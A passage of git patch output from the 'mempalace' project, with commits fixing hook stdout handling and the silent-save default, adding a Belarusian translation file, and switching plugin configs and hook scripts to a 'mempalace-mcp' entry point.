_save_diary_direct, so by the time _output() calls print(), sys.stdout is actually stderr. Claude Code reads hook output from fd 1. With the redirect in effect, fd 1 points to fd 2, so our {"systemMessage": "✦ N memories woven..."} JSON lands on stderr and Claude Code never renders it. The save still happens, the marker still advances — the user just never sees the beautiful checkpoint notification in their terminal. Fix: _output() now writes to _REAL_STDOUT_FD (saved by mcp_server before the redirect) via os.write(), falling back to sys.stdout only when the saved fd is unavailable (e.g., hooks_cli imported without mcp_server). Test: bash hook script 2>/dev/null now shows only the JSON; 2>&1 >/dev/null shows only the Diary entry log line — clean separation restored. Co-Authored-By: Claude Opus 4.7 (1M context) --- mempalace/hooks_cli.py | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 61e5a9c..c20a6c6 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -134,8 +134,24 @@ def _log(message: str): def _output(data: dict): - """Print JSON to stdout with consistent formatting (pretty-printed).""" - print(json.dumps(data, indent=2, ensure_ascii=False)) + """Print JSON to the real stdout, even if mcp_server has hijacked sys.stdout. + + mempalace.mcp_server redirects stdout → stderr at module import (fd and + sys-level) to protect the MCP stdio protocol from ChromaDB's C-level + prints. Silent-save imports it transitively via _save_diary_direct, so + sys.stdout is stderr by the time we get here. Claude Code reads hook + output from fd 1, so we write there directly using the saved fd. + """ + payload = json.dumps(data, indent=2, ensure_ascii=False) + "\n" + try: + from .mcp_server import _REAL_STDOUT_FD + if _REAL_STDOUT_FD is not None: + os.write(_REAL_STDOUT_FD, payload.encode("utf-8")) + return + except Exception: + pass + sys.stdout.write(payload) + sys.stdout.flush() def _get_mine_dir(transcript_path: str = "") -> str: From 5deb815f0bffd621e602459e3e0a445bff142aa0 Mon Sep 17 00:00:00 2001 From: jp Date: Sat, 18 Apr 2026 15:48:19 -0700 Subject: [PATCH 17/61] fix(hooks): address Copilot review feedback on #1021 - _output(): use sys.modules.get() instead of unconditional import to avoid triggering mcp_server's stdout redirect as a side effect - _output(): write-all loop for os.write() to handle partial writes and EINTR; fall back to sys.stdout.buffer on OSError - _output() docstring: remove inaccurate _save_diary_direct reference - stop_hook_active guard: narrow except to ImportError/AttributeError, default silent_guard=False (safe: preserves block-mode loop prevention when config load fails) and log a warning instead of silently changing behavior - tests: two new regression tests covering the real-stdout-fd path and the fd-1 fallback path Co-Authored-By: Claude Sonnet 4.6 --- mempalace/hooks_cli.py | 50 ++++++++++++++++++++++------------ tests/test_hooks_cli.py | 60 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 93 insertions(+), 17 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index c20a6c6..e927d9e 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -134,24 +134,35 @@ def _log(message: str): def _output(data: dict): - """Print JSON to the real stdout, even if mcp_server has hijacked sys.stdout. + """Print JSON to stdout without importing modules that may redirect streams. - mempalace.mcp_server redirects stdout → stderr at module import (fd and - sys-level) to protect the MCP stdio protocol from ChromaDB's C-level - prints. Silent-save imports it transitively via _save_diary_direct, so - sys.stdout is stderr by the time we get here. Claude Code reads hook - output from fd 1, so we write there directly using the saved fd. + If mempalace.mcp_server is already loaded, reuse its saved real stdout fd. + Otherwise, write directly to fd 1 so hook responses still go to stdout even + if sys.stdout has been redirected elsewhere. """ - payload = json.dumps(data, indent=2, ensure_ascii=False) + "\n" + payload = (json.dumps(data, indent=2, ensure_ascii=False) + "\n").encode("utf-8") + + real_stdout_fd: int | None = None + mcp_mod = sys.modules.get("mempalace.mcp_server") or sys.modules.get( + f"{__package__}.mcp_server" if __package__ else "mcp_server" + ) + if mcp_mod is not None: + real_stdout_fd = getattr(mcp_mod, "_REAL_STDOUT_FD", None) + + fd = real_stdout_fd if real_stdout_fd is not None else 1 + offset = 0 try: - from .mcp_server import _REAL_STDOUT_FD - if _REAL_STDOUT_FD is not None: - os.write(_REAL_STDOUT_FD, payload.encode("utf-8")) - return - except Exception: + while offset < len(payload): + try: + offset += os.write(fd, payload[offset:]) + except InterruptedError: + continue + return + except OSError: pass - sys.stdout.write(payload) - sys.stdout.flush() + + sys.stdout.buffer.write(payload) + sys.stdout.buffer.flush() def _get_mine_dir(transcript_path: str = "") -> str: @@ -230,11 +241,16 @@ def hook_stop(data: dict, harness: str): # no loop to prevent — and Claude Code's plugin dispatch sets this flag on every # fire after the first, which would otherwise suppress all subsequent auto-saves. if str(stop_hook_active).lower() in ("true", "1", "yes"): + silent_guard = False try: from .config import MempalaceConfig - silent_guard = MempalaceConfig().hook_silent_save - except Exception: - silent_guard = True + except ImportError as exc: + _log(f"WARNING: could not import MempalaceConfig for stop guard: {exc}; preserving block-mode guard") + else: + try: + silent_guard = MempalaceConfig().hook_silent_save + except AttributeError as exc: + _log(f"WARNING: could not read hook_silent_save: {exc}; preserving block-mode guard") if not silent_guard: _output({}) return diff --git a/tests/test_hooks_cli.py b/tests/test_hooks_cli.py index 7bf6cf3..93f6d36 100644 --- a/tests/test_hooks_cli.py +++ b/tests/test_hooks_cli.py @@ -218,6 +218,66 @@ def test_precompact_allows(tmp_path): # --- _log --- +def test_output_writes_to_real_stdout_fd_when_mcp_server_loaded(): + """_output() must reach fd 1 even when mcp_server has redirected sys.stdout.""" + import types + + fake_module = types.ModuleType("mempalace.mcp_server") + + read_fd, write_fd = os.pipe() + try: + fake_module._REAL_STDOUT_FD = write_fd + with patch.dict("sys.modules", {"mempalace.mcp_server": fake_module}): + from mempalace.hooks_cli import _output + + _output({"systemMessage": "test"}) + + os.close(write_fd) + written = b"" + while True: + chunk = os.read(read_fd, 4096) + if not chunk: + break + written += chunk + finally: + os.close(read_fd) + + data = json.loads(written.decode()) + assert data["systemMessage"] == "test" + + +def test_output_falls_back_to_fd1_when_mcp_server_absent(): + """_output() writes to fd 1 directly when mcp_server is not loaded.""" + read_fd, write_fd = os.pipe() + try: + orig_fd1 = os.dup(1) + os.dup2(write_fd, 1) + os.close(write_fd) + try: + modules_without_mcp = {k: v for k, v in __import__("sys").modules.items() + if "mcp_server" not in k} + with patch.dict("sys.modules", modules_without_mcp, clear=True): + from mempalace.hooks_cli import _output + _output({"continue": True}) + finally: + os.dup2(orig_fd1, 1) + os.close(orig_fd1) + except Exception: + os.close(read_fd) + raise + + written = b"" + while True: + chunk = os.read(read_fd, 4096) + if not chunk: + break + written += chunk + os.close(read_fd) + + data = json.loads(written.decode()) + assert data["continue"] is True + + def test_log_writes_to_hook_log(tmp_path): with patch("mempalace.hooks_cli.STATE_DIR", tmp_path): _log("test message") From 1531a253beeeb1dc01c78a96162833a4931d13cc Mon Sep 17 00:00:00 2001 From: jp Date: Sat, 18 Apr 2026 15:50:01 -0700 Subject: [PATCH 18/61] test: add missing import os in test_hooks_cli Co-Authored-By: Claude Sonnet 4.6 --- tests/test_hooks_cli.py | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/test_hooks_cli.py b/tests/test_hooks_cli.py index 93f6d36..58e7d4e 100644 --- a/tests/test_hooks_cli.py +++ b/tests/test_hooks_cli.py @@ -1,6 +1,7 @@ import contextlib import io import json +import os import subprocess from pathlib import Path from unittest.mock import patch From 2183d866f3477c620b16cc34155cd5c5cf288c60 Mon Sep 17 00:00:00 2001 From: jp Date: Sat, 18 Apr 2026 18:09:26 -0700 Subject: [PATCH 19/61] style(hooks): ruff format hooks_cli.py and test_hooks_cli.py Co-Authored-By: Claude Sonnet 4.6 --- mempalace/hooks_cli.py | 8 ++++++-- tests/test_hooks_cli.py | 6 ++++-- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index e927d9e..8532632 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -245,12 +245,16 @@ def hook_stop(data: dict, harness: str): try: from .config import MempalaceConfig except ImportError as exc: - _log(f"WARNING: could not import MempalaceConfig for stop guard: {exc}; preserving block-mode guard") + _log( + f"WARNING: could not import MempalaceConfig for stop guard: {exc}; preserving block-mode guard" + ) else: try: silent_guard = MempalaceConfig().hook_silent_save except AttributeError as exc: - _log(f"WARNING: could not read hook_silent_save: {exc}; preserving block-mode guard") + _log( + f"WARNING: could not read hook_silent_save: {exc}; preserving block-mode guard" + ) if not silent_guard: _output({}) return diff --git a/tests/test_hooks_cli.py b/tests/test_hooks_cli.py index 58e7d4e..8e54837 100644 --- a/tests/test_hooks_cli.py +++ b/tests/test_hooks_cli.py @@ -255,10 +255,12 @@ def test_output_falls_back_to_fd1_when_mcp_server_absent(): os.dup2(write_fd, 1) os.close(write_fd) try: - modules_without_mcp = {k: v for k, v in __import__("sys").modules.items() - if "mcp_server" not in k} + modules_without_mcp = { + k: v for k, v in __import__("sys").modules.items() if "mcp_server" not in k + } with patch.dict("sys.modules", modules_without_mcp, clear=True): from mempalace.hooks_cli import _output + _output({"continue": True}) finally: os.dup2(orig_fd1, 1) From 3004ac4ee45e76eb06199fe7613ee90d3100b483 Mon Sep 17 00:00:00 2001 From: Vu Nguyen Date: Sun, 19 Apr 2026 01:29:25 -0500 Subject: [PATCH 20/61] fix(miner): port None-metadata guard into paginated status loop Upstream develop commit feba7e8 (2026-04-18) added `m = m or {}` to the single-shot `for m in metas:` loop after this branch already rewrote status() to paginate. Without porting the guard forward, merging this PR would silently drop jp's fix and crash again on palaces with null-metadata drawers. Addresses bensig's review on #851. --- mempalace/miner.py | 1 + 1 file changed, 1 insertion(+) diff --git a/mempalace/miner.py b/mempalace/miner.py index 0b9b5b0..5ab662e 100644 --- a/mempalace/miner.py +++ b/mempalace/miner.py @@ -833,6 +833,7 @@ def status(palace_path: str): if not batch: break for m in batch: + m = m or {} wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1 offset += len(batch) From 0b316d405384f157e885cbae925123e22715f2fd Mon Sep 17 00:00:00 2001 From: fatkobra <55045047+fatkobra@users.noreply.github.com> Date: Sun, 19 Apr 2026 10:34:11 +0200 Subject: [PATCH 21/61] test: normalize wrapper script path for bash on Windows --- tests/test_claude_plugin_hook_wrappers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/test_claude_plugin_hook_wrappers.py b/tests/test_claude_plugin_hook_wrappers.py index 9bffa63..e427e0c 100644 --- a/tests/test_claude_plugin_hook_wrappers.py +++ b/tests/test_claude_plugin_hook_wrappers.py @@ -60,7 +60,7 @@ def _run_hook( env["PATH"] = str(bin_dir) return subprocess.run( - [BASH, str(PLUGIN_HOOKS_DIR / script_name)], + [BASH, _shell_path(PLUGIN_HOOKS_DIR / script_name)], input=payload, text=True, capture_output=True, From 2629ae5b713a0da6bb2e5b5f7c0f0d9b93e89238 Mon Sep 17 00:00:00 2001 From: jp Date: Sun, 19 Apr 2026 08:22:45 -0700 Subject: [PATCH 22/61] =?UTF-8?q?fix(hooks):=20default=20silent=5Fguard=3D?= =?UTF-8?q?True=20=E2=80=94=20config-read=20failure=20must=20not=20suppres?= =?UTF-8?q?s=20saves?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses bensig's review on PR #1021. silent_guard was initialized to False, so when both MempalaceConfig import and .hook_silent_save attribute access failed, silent_guard stayed False. Then `if not silent_guard:` fired and returned empty — silently dropping the save. In silent mode (the default since v3.3.0), saves should ALWAYS proceed on config-read failure. Changing the initial value to True makes that the safe default. Co-Authored-By: Claude Opus 4.7 (1M context) --- mempalace/hooks_cli.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 8532632..9ee0661 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -241,19 +241,22 @@ def hook_stop(data: dict, harness: str): # no loop to prevent — and Claude Code's plugin dispatch sets this flag on every # fire after the first, which would otherwise suppress all subsequent auto-saves. if str(stop_hook_active).lower() in ("true", "1", "yes"): - silent_guard = False + # Safe default: assume silent mode on any config-read failure so saves + # proceed rather than being silently dropped. Silent mode is the default + # (v3.3.0+), so if we can't read config, behave as if it's still on. + silent_guard = True try: from .config import MempalaceConfig except ImportError as exc: _log( - f"WARNING: could not import MempalaceConfig for stop guard: {exc}; preserving block-mode guard" + f"WARNING: could not import MempalaceConfig for stop guard: {exc}; defaulting to silent mode" ) else: try: silent_guard = MempalaceConfig().hook_silent_save except AttributeError as exc: _log( - f"WARNING: could not read hook_silent_save: {exc}; preserving block-mode guard" + f"WARNING: could not read hook_silent_save: {exc}; defaulting to silent mode" ) if not silent_guard: _output({}) From d657626736e74efba0008b11dee085fd89ea00de Mon Sep 17 00:00:00 2001 From: jp Date: Sun, 19 Apr 2026 08:34:43 -0700 Subject: [PATCH 23/61] =?UTF-8?q?style:=20ruff=20format=20=E2=80=94=20coll?= =?UTF-8?q?apse=20AttributeError=20log=20call=20to=20single=20line?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- mempalace/hooks_cli.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 9ee0661..c6e4a8d 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -255,9 +255,7 @@ def hook_stop(data: dict, harness: str): try: silent_guard = MempalaceConfig().hook_silent_save except AttributeError as exc: - _log( - f"WARNING: could not read hook_silent_save: {exc}; defaulting to silent mode" - ) + _log(f"WARNING: could not read hook_silent_save: {exc}; defaulting to silent mode") if not silent_guard: _output({}) return From 54c314d8d9d9aa5914e7fcd63a35f57546c2a2a6 Mon Sep 17 00:00:00 2001 From: Dzmitry Padabed Date: Sun, 19 Apr 2026 23:05:29 +0300 Subject: [PATCH 24/61] feat(i18n): add Belarusian --- mempalace/i18n/be.json | 166 +++++++++++++++++++++++++++++++++++++++++ tests/test_i18n.py | 1 + 2 files changed, 167 insertions(+) create mode 100644 mempalace/i18n/be.json diff --git a/mempalace/i18n/be.json b/mempalace/i18n/be.json new file mode 100644 index 0000000..01e808e --- /dev/null +++ b/mempalace/i18n/be.json @@ -0,0 +1,166 @@ +{ + "lang": "be", + "label": "Беларуская", + "terms": { + "palace": "палац", + "wing": "крыло", + "hall": "зала", + "closet": "шафа", + "drawer": "шуфляда", + "mine": "майнінг", + "search": "пошук", + "status": "статус", + "init": "ініцыялізацыя", + "repair": "аднаўленне", + "migrate": "міграцыя", + "entity": "аб'ект", + "topic": "тэма" + }, + "cli": { + "mine_start": "Майнінг {path}...", + "mine_complete": "Гатова. Створана шаф: {closets}, шуфляд: {drawers}.", + "mine_skip": "Майнінг скончаны. Выкарыстайце --force, каб перамайніць.", + "search_no_results": "Няма вынікаў для: {query}", + "search_results": "Знойдзена {count} вынікаў:", + "status_palace": "Палац: {path}", + "status_wings": "Крылаў: {count}", + "status_closets": "Шаф: {count}", + "status_drawers": "Шуфляд: {count}", + "init_complete": "Палац ініцыялізаваны ў {path}", + "init_exists": "Палац ужо існуе ў {path}", + "repair_complete": "Аднаўленне скончана. Выпраўлена праблем: {fixed}.", + "migrate_complete": "Міграцыя завершана.", + "no_palace": "Палац не знойдзены. Запусціце: mempalace init <дырэкторыя>" + }, + "aaak": { + "instruction": "Сцісні да фармату індэкса. Злучкі паміж словамі, вертыкальныя рысы паміж паняткамі. Выдалі падставы і службовыя словы. Захавай дакладнасць імёнаў, нумароў, скланенняў і формаў." + }, + "regex": { + "topic_pattern": "[А-ЯЁІЎ][а-яёіў]{2,}|[A-Z][a-z]{2,}|[A-Za-z][A-Za-z0-9_]{2,}", + "stop_words": "і а але бо каб калі калісьці хоць што хто дзе куды адкуль як чаму таму ж не ні так таксама яшчэ ўжо цяпер потым тут там адсюль туды ў на па з са без для над пад пры пра праз супраць замест акрамя сярод вакол уздоўж каля паміж пасля перад да ад у або альбо то ці быццам нібыта вось гэты гэта гэтыя той тая тыя некаторыя кожны кожная кожныя толькі вельмі можа трэба будзе быў была былі ёсць няма", + "quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"", + "action_pattern": "(?:зрабіў|зрабіла|зрабілі|стварыў|стварыла|стварылі|дадаў|дадала|дадалі|абнавіў|абнавіла|абнавілі|наладзіў|наладзіла|наладзілі|пратэставаў|пратэставала|пратэставалі)\\s+[\\wа-яёА-ЯЁІіЎў\\s]{3,30}" + }, + "entity": { + "candidate_pattern": "[А-ЯЁІЎ][а-яёіў]{1,19}", + "multi_word_pattern": "[А-ЯЁІЎ][а-яёіў]+(?:\\s+[А-ЯЁІЎ][а-яёіў]+)+", + "person_verb_patterns": [ + "\\b{name}\\s+сказа(?:ў|ла|лі)\\b", + "\\b{name}\\s+спыта(?:ў|ла|лі)\\b", + "\\b{name}\\s+адказа(?:ў|ла|лі)\\b", + "\\b{name}\\s+расказа(?:ў|ла|лі)\\b", + "\\b{name}\\s+засмея(?:ўся|лася|ліся)\\b", + "\\b{name}\\s+усміхну(?:ўся|лася|ліся)\\b", + "\\b{name}\\s+заплака(?:ў|ла|лі)\\b", + "\\b{name}\\s+адчу(?:ў|ла|лі)\\b", + "\\b{name}\\s+думае\\b", + "\\b{name}\\s+хоча\\b", + "\\b{name}\\s+кахае\\b", + "\\b{name}\\s+ненавідзіць\\b", + "\\b{name}\\s+ведае\\b", + "\\b{name}\\s+вырашы(?:ў|ла|лі)\\b", + "\\b{name}\\s+напіса(?:ў|ла|лі)\\b", + "\\b{name}\\s+каза(?:ў|ла|лі)\\b", + "\\b{name}\\s+зрабі(?:ў|ла|лі)\\b", + "\\b{name}\\s+спытваецца\\b", + "\\b{name}\\s+адказвае\\b" + ], + "pronoun_patterns": [ + "\\bён\\b", + "\\bяго\\b", + "\\bяму\\b", + "\\bім\\b", + "\\bяна\\b", + "\\bяе\\b", + "\\bёй\\b", + "\\bёю\\b", + "\\bяны\\b", + "\\bіх\\b", + "\\bімі\\b", + "\\bяно\\b", + "\\bвы\\b", + "\\bвас\\b", + "\\bвам\\b", + "\\bвамі\\b" + ], + "dialogue_patterns": [ + "^>\\s*{name}[:\\s]", + "^{name}:\\s", + "^\\[{name}\\]", + "\"{name}\\s+сказа(?:ў|ла|лі)" + ], + "direct_address_pattern": "\\bпрывітанне[,:!.]?\\s+{name}\\b|\\bвітаю[,:!.]?\\s+{name}\\b|\\bдзякуй[,:!.]?\\s+{name}\\b|\\bдарагі[,:!.]?\\s+{name}\\b|\\bдарагая[,:!.]?\\s+{name}\\b|\\bпаважаны[,:!.]?\\s+{name}\\b|\\bпаважаная[,:!.]?\\s+{name}\\b", + "project_verb_patterns": [ + "\\bзбіраю\\s+{name}\\b", + "\\bсабраў\\s+{name}\\b", + "\\bзапускаю\\s+{name}\\b", + "\\bзапусціў\\s+{name}\\b", + "\\bразгарнуў\\s+{name}\\b", + "\\bусталяваў\\s+{name}\\b", + "\\bсістэма\\s+{name}\\b", + "\\bпраект\\s+{name}\\b", + "\\bimport\\s+{name}\\b", + "\\bpip\\s+install\\s+{name}\\b" + ], + "stopwords": [ + "і", + "ў", + "з", + "са", + "на", + "па", + "да", + "ад", + "у", + "без", + "для", + "над", + "пад", + "пры", + "пра", + "праз", + "супраць", + "замест", + "акрамя", + "сярод", + "вакол", + "уздоўж", + "каля", + "паміж", + "пасля", + "перад", + "або", + "альбо", + "каб", + "калі", + "хоць", + "бо", + "ж", + "не", + "ні", + "так", + "яшчэ", + "ужо", + "цяпер", + "вось", + "гэта", + "тое", + "тут", + "там", + "вельмі", + "толькі", + "можа", + "трэба", + "ёсць", + "няма", + "як", + "што", + "хто", + "чаму", + "таму", + "прывітанне", + "дзякуй", + "ласка" + ] + } +} diff --git a/tests/test_i18n.py b/tests/test_i18n.py index b91e352..b6890bc 100644 --- a/tests/test_i18n.py +++ b/tests/test_i18n.py @@ -56,6 +56,7 @@ def test_dialect_compress_samples(): "de": "Wir haben beschlossen, von SQLite auf PostgreSQL zu migrieren für bessere gleichzeitige Schreibvorgänge. Ben hat den PR gestern genehmigt.", "zh-CN": "我们决定从SQLite迁移到PostgreSQL以获得更好的并发写入。Ben昨天批准了PR。", "id": "Kami memutuskan untuk migrasi dari SQLite ke PostgreSQL untuk penulisan bersamaan yang lebih baik. Ben telah menyetujui PR kemarin.", + "be": "Мы вырашылі перайсці з SQLite на PostgreSQL для паляпшэння паралельнага запісу. Зміцер ухваліў PR ўчора.", } for lang, text in samples.items(): From 9f5b8f5fd691c91b504d290d45273bbe532eaf7e Mon Sep 17 00:00:00 2001 From: Pim Messelink <274674234+messelink@users.noreply.github.com> Date: Thu, 9 Apr 2026 06:39:44 +0000 Subject: [PATCH 25/61] fix: add mempalace-mcp console entry point for pipx/uv compatibility The MCP server config used `python -m mempalace.mcp_server` which fails when mempalace is installed via pipx or uv, since the system python cannot find the module in the isolated venv. Adding a `mempalace-mcp` console_scripts entry point ensures the MCP server works regardless of installation method (pip, pipx, uv, conda). Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude-plugin/.mcp.json | 6 +----- .claude-plugin/plugin.json | 6 +----- .codex-plugin/plugin.json | 6 +----- examples/mcp_setup.md | 4 ++-- mempalace/instructions/init.md | 2 +- mempalace/mcp_server.py | 2 +- pyproject.toml | 1 + 7 files changed, 8 insertions(+), 19 deletions(-) diff --git a/.claude-plugin/.mcp.json b/.claude-plugin/.mcp.json index b1e81ed..dd7d55d 100644 --- a/.claude-plugin/.mcp.json +++ b/.claude-plugin/.mcp.json @@ -1,9 +1,5 @@ { "mempalace": { - "command": "python3", - "args": [ - "-m", - "mempalace.mcp_server" - ] + "command": "mempalace-mcp" } } diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json index ba5759a..1504314 100644 --- a/.claude-plugin/plugin.json +++ b/.claude-plugin/plugin.json @@ -9,11 +9,7 @@ "commands": [], "mcpServers": { "mempalace": { - "command": "python3", - "args": [ - "-m", - "mempalace.mcp_server" - ] + "command": "mempalace-mcp" } }, "keywords": [ diff --git a/.codex-plugin/plugin.json b/.codex-plugin/plugin.json index 9017d9b..7a2278a 100644 --- a/.codex-plugin/plugin.json +++ b/.codex-plugin/plugin.json @@ -21,11 +21,7 @@ "hooks": "./hooks.json", "mcpServers": { "mempalace": { - "command": "python3", - "args": [ - "-m", - "mempalace.mcp_server" - ] + "command": "mempalace-mcp" } }, "interface": { diff --git a/examples/mcp_setup.md b/examples/mcp_setup.md index 9bc26dd..2b7e1c3 100644 --- a/examples/mcp_setup.md +++ b/examples/mcp_setup.md @@ -5,13 +5,13 @@ Run the MCP server: ```bash -python -m mempalace.mcp_server +mempalace-mcp ``` Or add it to Claude Code: ```bash -claude mcp add mempalace -- python -m mempalace.mcp_server +claude mcp add mempalace -- mempalace-mcp ``` ## Available Tools diff --git a/mempalace/instructions/init.md b/mempalace/instructions/init.md index 40f0c20..570a525 100644 --- a/mempalace/instructions/init.md +++ b/mempalace/instructions/init.md @@ -49,7 +49,7 @@ If this fails, report the error and stop. Run the following command to register the MemPalace MCP server with Claude: - claude mcp add mempalace -- python -m mempalace.mcp_server + claude mcp add mempalace -- mempalace-mcp If this fails, report the error but continue to the next step (MCP configuration can be done manually later). diff --git a/mempalace/mcp_server.py b/mempalace/mcp_server.py index 06355c4..6fe8225 100644 --- a/mempalace/mcp_server.py +++ b/mempalace/mcp_server.py @@ -2,7 +2,7 @@ """ MemPalace MCP Server — read/write palace access for Claude Code ================================================================ -Install: claude mcp add mempalace -- python -m mempalace.mcp_server [--palace /path/to/palace] +Install: claude mcp add mempalace -- mempalace-mcp [--palace /path/to/palace] Tools (read): mempalace_status — total drawers, wing/room breakdown diff --git a/pyproject.toml b/pyproject.toml index 1f60a2d..1935c32 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -38,6 +38,7 @@ Repository = "https://github.com/MemPalace/mempalace" [project.scripts] mempalace = "mempalace.cli:main" +mempalace-mcp = "mempalace.mcp_server:main" [project.entry-points."mempalace.backends"] chroma = "mempalace.backends.chroma:ChromaBackend" From be89e49add5e163f5897956d0ed619dec76271b4 Mon Sep 17 00:00:00 2001 From: Pim Messelink <274674234+messelink@users.noreply.github.com> Date: Thu, 9 Apr 2026 06:54:55 +0000 Subject: [PATCH 26/61] fix: use mempalace CLI in hook scripts instead of python3 -m Hook scripts used `python3 -m mempalace` which fails when mempalace is installed via pipx or uv. Using the `mempalace` CLI command directly works for all installation methods. Dev users running from source should use `pip install -e .` as documented in CONTRIBUTING.md. Co-Authored-By: Claude Opus 4.6 (1M context) --- .codex-plugin/hooks/mempal-hook.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.codex-plugin/hooks/mempal-hook.sh b/.codex-plugin/hooks/mempal-hook.sh index 1cc0050..6d1113a 100644 --- a/.codex-plugin/hooks/mempal-hook.sh +++ b/.codex-plugin/hooks/mempal-hook.sh @@ -3,7 +3,7 @@ set -euo pipefail HOOK_NAME="${1:?Usage: mempal-hook.sh }" INPUT_FILE=$(mktemp) || { echo "Failed to create temp file" >&2; exit 1; } cat > "$INPUT_FILE" -cat "$INPUT_FILE" | python3 -m mempalace hook run --hook "$HOOK_NAME" --harness codex +cat "$INPUT_FILE" | mempalace hook run --hook "$HOOK_NAME" --harness codex EXIT_CODE=$? rm -f "$INPUT_FILE" 2>/dev/null exit $EXIT_CODE From 67a067701ef25a3b62a722d3c45e2e60f3dd5c20 Mon Sep 17 00:00:00 2001 From: Pim Messelink <274674234+messelink@users.noreply.github.com> Date: Thu, 16 Apr 2026 04:50:39 +0000 Subject: [PATCH 27/61] fix: use mempalace CLI in top-level hook scripts hooks/mempal_precompact_hook.sh and hooks/mempal_save_hook.sh used python3 -m mempalace mine which fails when mempalace is installed via pipx or uv. Switch to the mempalace CLI entry point which pipx/uv put on PATH. Also removes the now-unused PYTHON variable from mempal_save_hook.sh. Co-Authored-By: Claude Opus 4.6 (1M context) --- hooks/mempal_precompact_hook.sh | 2 +- hooks/mempal_save_hook.sh | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/hooks/mempal_precompact_hook.sh b/hooks/mempal_precompact_hook.sh index 3a74ca5..25d918c 100755 --- a/hooks/mempal_precompact_hook.sh +++ b/hooks/mempal_precompact_hook.sh @@ -65,7 +65,7 @@ echo "[$(date '+%H:%M:%S')] PRE-COMPACT triggered for session $SESSION_ID" >> "$ if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_DIR="$(dirname "$SCRIPT_DIR")" - python3 -m mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1 + mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1 fi # Silent: return empty JSON to not block. "decision": "allow" is invalid — diff --git a/hooks/mempal_save_hook.sh b/hooks/mempal_save_hook.sh index d8e7cc2..c2ea745 100755 --- a/hooks/mempal_save_hook.sh +++ b/hooks/mempal_save_hook.sh @@ -144,7 +144,6 @@ if [ "$SINCE_LAST" -ge "$SAVE_INTERVAL" ] && [ "$EXCHANGE_COUNT" -gt 0 ]; then # 1. TRANSCRIPT_PATH (from Claude Code) — mine the directory it lives in # 2. MEMPAL_DIR (user-configured) — mine that directory # At least one should work. If neither is set, nothing mines. - PYTHON="$(command -v python3)" MINE_DIR="" if [ -n "$TRANSCRIPT_PATH" ] && [ -f "$TRANSCRIPT_PATH" ]; then MINE_DIR="$(dirname "$TRANSCRIPT_PATH")" @@ -153,7 +152,7 @@ if [ "$SINCE_LAST" -ge "$SAVE_INTERVAL" ] && [ "$EXCHANGE_COUNT" -gt 0 ]; then MINE_DIR="$MEMPAL_DIR" fi if [ -n "$MINE_DIR" ]; then - "$PYTHON" -m mempalace mine "$MINE_DIR" >> "$STATE_DIR/hook.log" 2>&1 & + mempalace mine "$MINE_DIR" >> "$STATE_DIR/hook.log" 2>&1 & fi # MEMPAL_VERBOSE toggle: From 982d42151007bc3ca51818e569285e5bdcd5f1a1 Mon Sep 17 00:00:00 2001 From: Pim Messelink <274674234+messelink@users.noreply.github.com> Date: Thu, 16 Apr 2026 12:40:46 +0000 Subject: [PATCH 28/61] fix: update mempalace mcp command to use mempalace-mcp entry point cmd_mcp() in cli.py was still printing `python -m mempalace.mcp_server` as the setup command. Update to use the mempalace-mcp console entry point added in the previous commit. Co-Authored-By: Claude Opus 4.6 (1M context) --- mempalace/cli.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mempalace/cli.py b/mempalace/cli.py index a5d3c7d..621b295 100644 --- a/mempalace/cli.py +++ b/mempalace/cli.py @@ -367,7 +367,7 @@ def cmd_instructions(args): def cmd_mcp(args): """Show how to wire MemPalace into MCP-capable hosts.""" - base_server_cmd = "python -m mempalace.mcp_server" + base_server_cmd = "mempalace-mcp" if args.palace: resolved_palace = str(Path(args.palace).expanduser()) From 9e53228ea3b3e9e5fcced7661e594a7fc81bc856 Mon Sep 17 00:00:00 2001 From: Pim Messelink <274674234+messelink@users.noreply.github.com> Date: Thu, 16 Apr 2026 15:31:21 +0000 Subject: [PATCH 29/61] test: update test_cli assertions for mempalace-mcp entry point Three assertions in test_mcp_command_* were still checking for the old `python -m mempalace.mcp_server` output string. Update to match the new `mempalace-mcp` command printed by cmd_mcp(). Co-Authored-By: Claude Opus 4.6 (1M context) --- tests/test_cli.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/test_cli.py b/tests/test_cli.py index c4b4203..1c4dfbd 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -334,9 +334,9 @@ def 